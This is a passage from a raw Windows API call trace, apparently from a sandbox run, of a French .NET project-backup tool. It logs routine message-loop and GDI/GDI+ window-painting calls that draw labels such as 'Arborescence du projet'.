lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0128.815] WaitMessage () returned 1 [0131.850] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0131.850] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x88, wParam=0x4, lParam=0x0) returned 0x0 [0131.850] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.866] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32e918 | out: lpwndpl=0x32e918) returned 1 [0131.866] GetClientRect (in: hWnd=0x50120, lpRect=0x32e8c4 | out: lpRect=0x32e8c4) returned 1 [0131.866] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0131.866] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0131.866] GetSystemMetrics (nIndex=42) returned 0 [0131.866] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e754, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0131.866] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e754) returned 0x23 [0131.866] GetClientRect (in: hWnd=0x50120, lpRect=0x32e7cc | out: lpRect=0x32e7cc) returned 1 [0131.866] GetCurrentObject (hdc=0x12010815, type=0x1) returned 0x1b00017 [0131.866] GetCurrentObject (hdc=0x12010815, type=0x2) returned 0x1900010 [0131.866] GetCurrentObject (hdc=0x12010815, type=0x7) returned 0x13050829 [0131.866] GetCurrentObject (hdc=0x12010815, type=0x6) returned 0x18a002e [0131.866] SaveDC (hdc=0x12010815) returned 1 [0131.866] GetNearestColor (hdc=0x12010815, color=0xf0f0f0) returned 0xf0f0f0 [0131.866] CreateSolidBrush (color=0xf0f0f0) returned 0x2a10084d [0131.866] FillRect (hDC=0x12010815, lprc=0x32e66c, hbr=0x2a10084d) returned 1 [0131.867] DeleteObject (ho=0x2a10084d) returned 1 [0131.867] RestoreDC (hdc=0x12010815, nSavedDC=-1) returned 1 [0131.869] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b0, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.870] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.871] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0x14, wParam=0xd01025e, lParam=0x0) returned 0x1 [0131.871] SetTextColor (hdc=0xd01025e, color=0x0) returned 0x0 [0131.872] SetBkColor (hdc=0xd01025e, color=0xffffff) returned 0xffffff [0131.873] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301ae, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.874] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e6, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.874] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301bc, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.874] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e2, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.875] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.875] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x14, wParam=0xd01025e, lParam=0x0) returned 0x1 [0131.875] GetStockObject (i=5) returned 0x1900015 [0131.875] IsWindowUnicode (hWnd=0x50120) returned 1 [0131.875] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0131.875] TranslateMessage (lpMsg=0x32f158) returned 0 [0131.875] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0131.875] BeginPaint (in: hWnd=0x50120, lpPaint=0x32ec64 | out: lpPaint=0x32ec64) returned 0x12010815 [0131.875] SelectPalette (hdc=0x12010815, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0131.875] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0131.875] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0131.875] GetSystemMetrics (nIndex=42) returned 0 [0131.875] GetWindowTextW (in: hWnd=0x50120, lpString=0x32ebc4, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0131.876] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32ebc4) returned 0x23 [0131.876] SelectPalette (hdc=0x12010815, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0131.876] EndPaint (hWnd=0x50120, lpPaint=0x32ec60) returned 1 [0131.876] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0131.876] IsWindowUnicode (hWnd=0x301b0) returned 1 [0131.876] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0131.876] TranslateMessage (lpMsg=0x32f158) returned 0 [0131.876] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0131.876] BeginPaint (in: hWnd=0x301b0, lpPaint=0x32ec48 | out: lpPaint=0x32ec48) returned 0xd01025e [0131.876] SelectPalette (hdc=0xd01025e, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0131.876] CreateCompatibleDC (hdc=0xd01025e) returned 0x14010827 [0131.876] SelectObject (hdc=0x14010827, h=0x70050254) returned 0x185000f [0131.876] GdipCreateFromHDC (hdc=0x14010827, graphics=0x32ec60) returned 0x0 [0131.876] GdipTranslateWorldTransform (graphics=0x4c358c0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0131.876] GdipSetClipRectI (graphics=0x4c358c0, x=0, y=0, width=139, height=13, combineMode=0x0) returned 0x0 [0131.876] GdipCreateMatrix (matrix=0x32eca8) returned 0x0 [0131.876] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35ba0) returned 0x0 [0131.876] GdipIsMatrixIdentity (matrix=0x4c35ba0, result=0x32ecc0) returned 0x0 [0131.876] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0131.876] GdipGetMatrixElements (matrix=0x4c35ba0, matrixOut=0x4e61ce8) returned 0x0 [0131.876] LocalFree (hMem=0x4e61ce8) returned 0x0 [0131.876] GdipDeleteMatrix (matrix=0x4c35ba0) returned 0x0 [0131.876] GdipCreateRegion (region=0x32eca8) returned 0x0 [0131.876] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0131.877] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32ecb4) returned 0x0 [0131.877] GdipSaveGraphics (graphics=0x4c358c0, state=0x32ece0) returned 0x0 [0131.877] GetWindowTextLengthW (hWnd=0x301b0) returned 22 [0131.877] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0131.877] GetSystemMetrics (nIndex=42) returned 0 [0131.877] GetWindowTextW (in: hWnd=0x301b0, lpString=0x32ebcc, nMaxCount=23 | out: lpString="Arborescence du projet") returned 22 [0131.877] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b0, Msg=0xd, wParam=0x17, lParam=0x32ebcc) returned 0x16 [0131.877] GetClientRect (in: hWnd=0x301b0, lpRect=0x32eca8 | out: lpRect=0x32eca8) returned 1 [0131.877] GdipCreateRegion (region=0x32eafc) returned 0x0 [0131.877] GdipGetClip (graphics=0x4c358c0, region=0x4c35ec0) returned 0x0 [0131.877] GdipCreateMatrix (matrix=0x32eafc) returned 0x0 [0131.877] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0131.877] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32eb14) returned 0x0 [0131.877] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0131.877] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61ce8) returned 0x0 [0131.877] LocalFree (hMem=0x4e61ce8) returned 0x0 [0131.877] GdipCombineRegionRegion (region=0x4c35ec0, region2=0x4c35bd0, combineMode=0x1) returned 0x0 [0131.877] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0131.877] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61ce8) returned 0x0 [0131.877] LocalFree (hMem=0x4e61ce8) returned 0x0 [0131.877] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0131.877] GdipIsInfiniteRegion (region=0x4c35ec0, graphics=0x4c358c0, result=0x32eb3c) returned 0x0 [0131.877] GdipIsInfiniteRegion (region=0x4c35ec0, graphics=0x4c358c0, result=0x32eb2c) returned 0x0 [0131.877] GdipGetRegionHRgn (region=0x4c35ec0, graphics=0x4c358c0, hRgn=0x32eb2c) returned 0x0 [0131.877] GdipDeleteRegion (region=0x4c35ec0) returned 0x0 [0131.877] GdipGetDC (graphics=0x4c358c0, hdc=0x32eb44) returned 0x0 [0131.877] GetCurrentObject (hdc=0x14010827, type=0x1) returned 0x1b00017 [0131.877] GetCurrentObject (hdc=0x14010827, type=0x2) returned 0x1900010 [0131.877] GetCurrentObject (hdc=0x14010827, type=0x7) returned 0x70050254 [0131.878] GetCurrentObject (hdc=0x14010827, type=0x6) returned 0x18a002e [0131.878] SaveDC (hdc=0x14010827) returned 1 [0131.878] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x750401e3 [0131.878] GetClipRgn (hdc=0x14010827, hrgn=0x750401e3) returned 0 [0131.878] SelectClipRgn (hdc=0x14010827, hrgn=0x74040850) returned 2 [0131.878] DeleteObject (ho=0x750401e3) returned 1 [0131.878] DeleteObject (ho=0x74040850) returned 1 [0131.878] OffsetViewportOrgEx (in: hdc=0x14010827, x=0, y=0, lppt=0x26f0a84 | out: lppt=0x26f0a84) returned 1 [0131.878] GetNearestColor (hdc=0x14010827, color=0xf0f0f0) returned 0xf0f0f0 [0131.878] CreateSolidBrush (color=0xf0f0f0) returned 0x2b10084d [0131.878] FillRect (hDC=0x14010827, lprc=0x32eb48, hbr=0x2b10084d) returned 1 [0131.878] DeleteObject (ho=0x2b10084d) returned 1 [0131.878] RestoreDC (hdc=0x14010827, nSavedDC=-1) returned 1 [0131.878] GdipReleaseDC (graphics=0x4c358c0, hdc=0x14010827) returned 0x0 [0131.878] GdipRestoreGraphics (graphics=0x4c358c0, state=0xfd8b0dbd) returned 0x0 [0131.878] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0131.878] GetWindowTextLengthW (hWnd=0x301b0) returned 22 [0131.878] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0131.878] GetSystemMetrics (nIndex=42) returned 0 [0131.878] GetWindowTextW (in: hWnd=0x301b0, lpString=0x32ebcc, nMaxCount=23 | out: lpString="Arborescence du projet") returned 22 [0131.878] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301b0, Msg=0xd, wParam=0x17, lParam=0x32ebcc) returned 0x16 [0131.878] GdipGetDC (graphics=0x4c358c0, hdc=0x32eb64) returned 0x0 [0131.879] GetCurrentObject (hdc=0x14010827, type=0x1) returned 0x1b00017 [0131.879] GetCurrentObject (hdc=0x14010827, type=0x2) returned 0x1900010 [0131.879] GetCurrentObject (hdc=0x14010827, type=0x7) returned 0x70050254 [0131.879] GetCurrentObject (hdc=0x14010827, type=0x6) returned 0x18a002e [0131.879] SaveDC (hdc=0x14010827) returned 1 [0131.879] GetNearestColor (hdc=0x14010827, color=0x0) returned 0x0 [0131.879] RestoreDC (hdc=0x14010827, nSavedDC=-1) returned 1 [0131.879] GdipReleaseDC (graphics=0x4c358c0, hdc=0x14010827) returned 0x0 [0131.879] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73c90000 [0131.879] AdjustWindowRectEx (in: lpRect=0x32ea88, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ea88) returned 1 [0131.879] GdipGetTextRenderingHint (graphics=0x4c358c0, mode=0x32eb04) returned 0x0 [0131.879] GdipGetDC (graphics=0x4c358c0, hdc=0x32eaf0) returned 0x0 [0131.879] GetCurrentObject (hdc=0x14010827, type=0x1) returned 0x1b00017 [0131.879] GetCurrentObject (hdc=0x14010827, type=0x2) returned 0x1900010 [0131.879] GetCurrentObject (hdc=0x14010827, type=0x7) returned 0x70050254 [0131.879] GetCurrentObject (hdc=0x14010827, type=0x6) returned 0x18a002e [0131.879] SaveDC (hdc=0x14010827) returned 1 [0131.880] GetTextAlign (hdc=0x14010827) returned 0x0 [0131.880] GetTextColor (hdc=0x14010827) returned 0x0 [0131.880] GetCurrentObject (hdc=0x14010827, type=0x6) returned 0x18a002e [0131.880] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e7f8 | out: pv=0x32e7f8) returned 92 [0131.880] SelectObject (hdc=0x14010827, h=0x100a0252) returned 0x18a002e [0131.880] GetBkMode (hdc=0x14010827) returned 2 [0131.880] SetBkMode (hdc=0x14010827, mode=1) returned 2 [0131.880] DrawTextExW (in: hdc=0x14010827, lpchText="Arborescence du projet", cchText=22, lprc=0x32ea84, format=0x0, lpdtp=0x26f0f84 | out: lpchText="Arborescence du projet", lprc=0x32ea84) returned 13 [0131.880] RestoreDC (hdc=0x14010827, nSavedDC=-1) returned 1 [0131.880] GdipReleaseDC (graphics=0x4c358c0, hdc=0x14010827) returned 0x0 [0131.880] GdipGetDC (graphics=0x4c358c0, hdc=0x32eca0) returned 0x0 [0131.880] BitBlt (hdc=0xd01025e, x=0, y=0, cx=139, cy=13, hdcSrc=0x14010827, x1=0, y1=0, rop=0xcc0020) returned 1 [0131.880] GdipReleaseDC (graphics=0x4c358c0, hdc=0x14010827) returned 0x0 [0131.880] SelectPalette (hdc=0xd01025e, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0131.880] SelectObject (hdc=0x14010827, h=0x185000f) returned 0x70050254 [0131.880] DeleteDC (hdc=0x14010827) returned 1 [0131.880] GdipDeleteGraphics (graphics=0x4c358c0) returned 0x0 [0131.880] EndPaint (hWnd=0x301b0, lpPaint=0x32ec44) returned 1 [0131.881] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0131.881] IsWindowUnicode (hWnd=0x301ac) returned 1 [0131.881] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0131.881] TranslateMessage (lpMsg=0x32f158) returned 0 [0131.881] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0131.881] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0131.881] SetTextColor (hdc=0x12010815, color=0x0) returned 0x0 [0131.881] SetBkColor (hdc=0x12010815, color=0xffffff) returned 0xffffff [0131.883] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0131.883] IsWindowUnicode (hWnd=0x301ae) returned 1 [0131.883] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0131.883] TranslateMessage (lpMsg=0x32f158) returned 0 [0131.883] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0131.883] BeginPaint (in: hWnd=0x301ae, lpPaint=0x32ec48 | out: lpPaint=0x32ec48) returned 0xd01025e [0131.883] SelectPalette (hdc=0xd01025e, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0131.883] CreateCompatibleDC (hdc=0xd01025e) returned 0x17010827 [0131.883] SelectObject (hdc=0x17010827, h=0x70050254) returned 0x185000f [0131.883] GdipCreateFromHDC (hdc=0x17010827, graphics=0x32ec60) returned 0x0 [0131.883] GdipTranslateWorldTransform (graphics=0x4c358c0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0131.883] GdipSetClipRectI (graphics=0x4c358c0, x=0, y=0, width=161, height=21, combineMode=0x0) returned 0x0 [0131.883] GdipCreateMatrix (matrix=0x32eca8) returned 0x0 [0131.883] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35ba0) returned 0x0 [0131.883] GdipIsMatrixIdentity (matrix=0x4c35ba0, result=0x32ecc0) returned 0x0 [0131.883] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0131.883] GdipGetMatrixElements (matrix=0x4c35ba0, matrixOut=0x4e61ce8) returned 0x0 [0131.883] LocalFree (hMem=0x4e61ce8) returned 0x0 [0131.883] GdipDeleteMatrix (matrix=0x4c35ba0) returned 0x0 [0131.883] GdipCreateRegion (region=0x32eca8) returned 0x0 [0131.883] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0131.883] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32ecb4) returned 0x0 [0131.883] GdipSaveGraphics (graphics=0x4c358c0, state=0x32ece0) returned 0x0 [0131.883] GetWindowTextLengthW (hWnd=0x301ae) returned 23 [0131.883] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301ae, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0131.883] GetSystemMetrics (nIndex=42) returned 0 [0131.883] GetWindowTextW (in: hWnd=0x301ae, lpString=0x32ebcc, nMaxCount=24 | out: lpString="Repertoire Projet 2 : ") returned 23 [0131.884] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301ae, Msg=0xd, wParam=0x18, lParam=0x32ebcc) returned 0x17 [0131.884] GetClientRect (in: hWnd=0x301ae, lpRect=0x32eca8 | out: lpRect=0x32eca8) returned 1 [0131.884] GdipCreateRegion (region=0x32eafc) returned 0x0 [0131.884] GdipGetClip (graphics=0x4c358c0, region=0x4c35ec0) returned 0x0 [0131.884] GdipCreateMatrix (matrix=0x32eafc) returned 0x0 [0131.884] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0131.884] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32eb14) returned 0x0 [0131.884] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0131.884] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61ce8) returned 0x0 [0131.884] LocalFree (hMem=0x4e61ce8) returned 0x0 [0131.884] GdipCombineRegionRegion (region=0x4c35ec0, region2=0x4c35bd0, combineMode=0x1) returned 0x0 [0131.884] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0131.884] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61ce8) returned 0x0 [0131.884] LocalFree (hMem=0x4e61ce8) returned 0x0 [0131.884] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0131.884] GdipIsInfiniteRegion (region=0x4c35ec0, graphics=0x4c358c0, result=0x32eb3c) returned 0x0 [0131.884] GdipIsInfiniteRegion (region=0x4c35ec0, graphics=0x4c358c0, result=0x32eb2c) returned 0x0 [0131.884] GdipGetRegionHRgn (region=0x4c35ec0, graphics=0x4c358c0, hRgn=0x32eb2c) returned 0x0 [0131.884] GdipDeleteRegion (region=0x4c35ec0) returned 0x0 [0131.884] GdipGetDC (graphics=0x4c358c0, hdc=0x32eb44) returned 0x0 [0131.884] GetCurrentObject (hdc=0x17010827, type=0x1) returned 0x1b00017 [0131.884] GetCurrentObject (hdc=0x17010827, type=0x2) returned 0x1900010 [0131.884] GetCurrentObject (hdc=0x17010827, type=0x7) returned 0x70050254 [0131.884] GetCurrentObject (hdc=0x17010827, type=0x6) returned 0x18a002e [0131.884] SaveDC (hdc=0x17010827) returned 1 [0131.884] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x75040850 [0131.884] GetClipRgn (hdc=0x17010827, hrgn=0x75040850) returned 0 [0131.884] SelectClipRgn (hdc=0x17010827, hrgn=0x770401e3) returned 2 [0131.885] DeleteObject (ho=0x75040850) returned 1 [0131.885] DeleteObject (ho=0x770401e3) returned 1 [0131.885] OffsetViewportOrgEx (in: hdc=0x17010827, x=0, y=0, lppt=0x26f135c | out: lppt=0x26f135c) returned 1 [0131.885] GetNearestColor (hdc=0x17010827, color=0xc8c8c8) returned 0xc8c8c8 [0131.885] CreateSolidBrush (color=0xc8c8c8) returned 0x2c10084d [0131.885] FillRect (hDC=0x17010827, lprc=0x32eb48, hbr=0x2c10084d) returned 1 [0131.885] DeleteObject (ho=0x2c10084d) returned 1 [0131.885] RestoreDC (hdc=0x17010827, nSavedDC=-1) returned 1 [0131.885] GdipReleaseDC (graphics=0x4c358c0, hdc=0x17010827) returned 0x0 [0131.885] GdipRestoreGraphics (graphics=0x4c358c0, state=0xfd890dbd) returned 0x0 [0131.885] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0131.885] GetWindowTextLengthW (hWnd=0x301ae) returned 23 [0131.885] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301ae, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0131.885] GetSystemMetrics (nIndex=42) returned 0 [0131.885] GetWindowTextW (in: hWnd=0x301ae, lpString=0x32ebcc, nMaxCount=24 | out: lpString="Repertoire Projet 2 : ") returned 23 [0131.885] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301ae, Msg=0xd, wParam=0x18, lParam=0x32ebcc) returned 0x17 [0131.885] GdipGetDC (graphics=0x4c358c0, hdc=0x32eb64) returned 0x0 [0131.885] GetCurrentObject (hdc=0x17010827, type=0x1) returned 0x1b00017 [0131.885] GetCurrentObject (hdc=0x17010827, type=0x2) returned 0x1900010 [0131.885] GetCurrentObject (hdc=0x17010827, type=0x7) returned 0x70050254 [0131.885] GetCurrentObject (hdc=0x17010827, type=0x6) returned 0x18a002e [0131.885] SaveDC (hdc=0x17010827) returned 1 [0131.885] GetNearestColor (hdc=0x17010827, color=0x0) returned 0x0 [0131.885] RestoreDC (hdc=0x17010827, nSavedDC=-1) returned 1 [0131.885] GdipReleaseDC (graphics=0x4c358c0, hdc=0x17010827) returned 0x0 [0131.886] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73c90000 [0131.886] AdjustWindowRectEx (in: lpRect=0x32ea88, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ea88) returned 1 [0131.886] GdipGetTextRenderingHint (graphics=0x4c358c0, mode=0x32eb04) returned 0x0 [0131.886] GdipGetDC (graphics=0x4c358c0, hdc=0x32eaf0) returned 0x0 [0131.886] GetCurrentObject (hdc=0x17010827, type=0x1) returned 0x1b00017 [0131.886] GetCurrentObject (hdc=0x17010827, type=0x2) returned 0x1900010 [0131.886] GetCurrentObject (hdc=0x17010827, type=0x7) returned 0x70050254 [0131.886] GetCurrentObject (hdc=0x17010827, type=0x6) returned 0x18a002e [0131.886] SaveDC (hdc=0x17010827) returned 1 [0131.886] GetTextAlign (hdc=0x17010827) returned 0x0 [0131.886] GetTextColor (hdc=0x17010827) returned 0x0 [0131.886] GetCurrentObject (hdc=0x17010827, type=0x6) returned 0x18a002e [0131.886] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e7f8 | out: pv=0x32e7f8) returned 92 [0131.886] SelectObject (hdc=0x17010827, h=0x100a0252) returned 0x18a002e [0131.886] GetBkMode (hdc=0x17010827) returned 2 [0131.886] SetBkMode (hdc=0x17010827, mode=1) returned 2 [0131.886] DrawTextExW (in: hdc=0x17010827, lpchText="Repertoire Projet 2 : ", cchText=23, lprc=0x32e8cc, format=0x404, lpdtp=0x26f1838 | out: lpchText="Repertoire Projet 2 : ", lprc=0x32e8cc) returned 13 [0131.887] DrawTextExW (in: hdc=0x17010827, lpchText="Repertoire Projet 2 : ", cchText=23, lprc=0x32ea84, format=0x4, lpdtp=0x26f1838 | out: lpchText="Repertoire Projet 2 : ", lprc=0x32ea84) returned 13 [0131.887] RestoreDC (hdc=0x17010827, nSavedDC=-1) returned 1 [0131.887] GdipReleaseDC (graphics=0x4c358c0, hdc=0x17010827) returned 0x0 [0131.887] GdipGetDC (graphics=0x4c358c0, hdc=0x32eca0) returned 0x0 [0131.887] BitBlt (hdc=0xd01025e, x=0, y=0, cx=161, cy=21, hdcSrc=0x17010827, x1=0, y1=0, rop=0xcc0020) returned 1 [0131.887] GdipReleaseDC (graphics=0x4c358c0, hdc=0x17010827) returned 0x0 [0131.887] SelectPalette (hdc=0xd01025e, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0131.887] SelectObject (hdc=0x17010827, h=0x185000f) returned 0x70050254 [0131.887] DeleteDC (hdc=0x17010827) returned 1 [0131.887] GdipDeleteGraphics (graphics=0x4c358c0) returned 0x0 [0131.887] EndPaint (hWnd=0x301ae, lpPaint=0x32ec44) returned 1 [0131.887] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0131.887] IsWindowUnicode (hWnd=0x201e6) returned 1 [0131.887] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0131.887] TranslateMessage (lpMsg=0x32f158) returned 0 [0131.887] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0131.887] BeginPaint (in: hWnd=0x201e6, lpPaint=0x32ec48 | out: lpPaint=0x32ec48) returned 0x12010815 [0131.887] SelectPalette (hdc=0x12010815, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0131.888] CreateCompatibleDC (hdc=0x12010815) returned 0x19010827 [0131.888] SelectObject (hdc=0x19010827, h=0x70050254) returned 0x185000f [0131.888] GdipCreateFromHDC (hdc=0x19010827, graphics=0x32ec60) returned 0x0 [0131.888] GdipTranslateWorldTransform (graphics=0x4c358c0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0131.888] GdipSetClipRectI (graphics=0x4c358c0, x=0, y=0, width=161, height=21, combineMode=0x0) returned 0x0 [0131.888] GdipCreateMatrix (matrix=0x32eca8) returned 0x0 [0131.888] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35ba0) returned 0x0 [0131.888] GdipIsMatrixIdentity (matrix=0x4c35ba0, result=0x32ecc0) returned 0x0 [0131.888] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0131.888] GdipGetMatrixElements (matrix=0x4c35ba0, matrixOut=0x4e61ce8) returned 0x0 [0131.888] LocalFree (hMem=0x4e61ce8) returned 0x0 [0131.888] GdipDeleteMatrix (matrix=0x4c35ba0) returned 0x0 [0131.888] GdipCreateRegion (region=0x32eca8) returned 0x0 [0131.888] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0131.888] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32ecb4) returned 0x0 [0131.888] GdipSaveGraphics (graphics=0x4c358c0, state=0x32ece0) returned 0x0 [0131.888] GetWindowTextLengthW (hWnd=0x201e6) returned 23 [0131.888] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0131.888] GetSystemMetrics (nIndex=42) returned 0 [0131.888] GetWindowTextW (in: hWnd=0x201e6, lpString=0x32ebcc, nMaxCount=24 | out: lpString="Repertoire Projet 1 : ") returned 23 [0131.888] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e6, Msg=0xd, wParam=0x18, lParam=0x32ebcc) returned 0x17 [0131.888] GetClientRect (in: hWnd=0x201e6, lpRect=0x32eca8 | out: lpRect=0x32eca8) returned 1 [0131.888] GdipCreateRegion (region=0x32eafc) returned 0x0 [0131.888] GdipGetClip (graphics=0x4c358c0, region=0x4c35ec0) returned 0x0 [0131.888] GdipCreateMatrix (matrix=0x32eafc) returned 0x0 [0131.888] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0131.888] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32eb14) returned 0x0 [0131.889] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61ce8 [0131.889] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61ce8) returned 0x0 [0131.889] LocalFree (hMem=0x4e61ce8) returned 0x0 [0131.889] GdipCombineRegionRegion (region=0x4c35ec0, region2=0x4c35bd0, combineMode=0x1) returned 0x0 [0131.889] LocalAlloc (uFlags=0x0, uBytes=0x30) 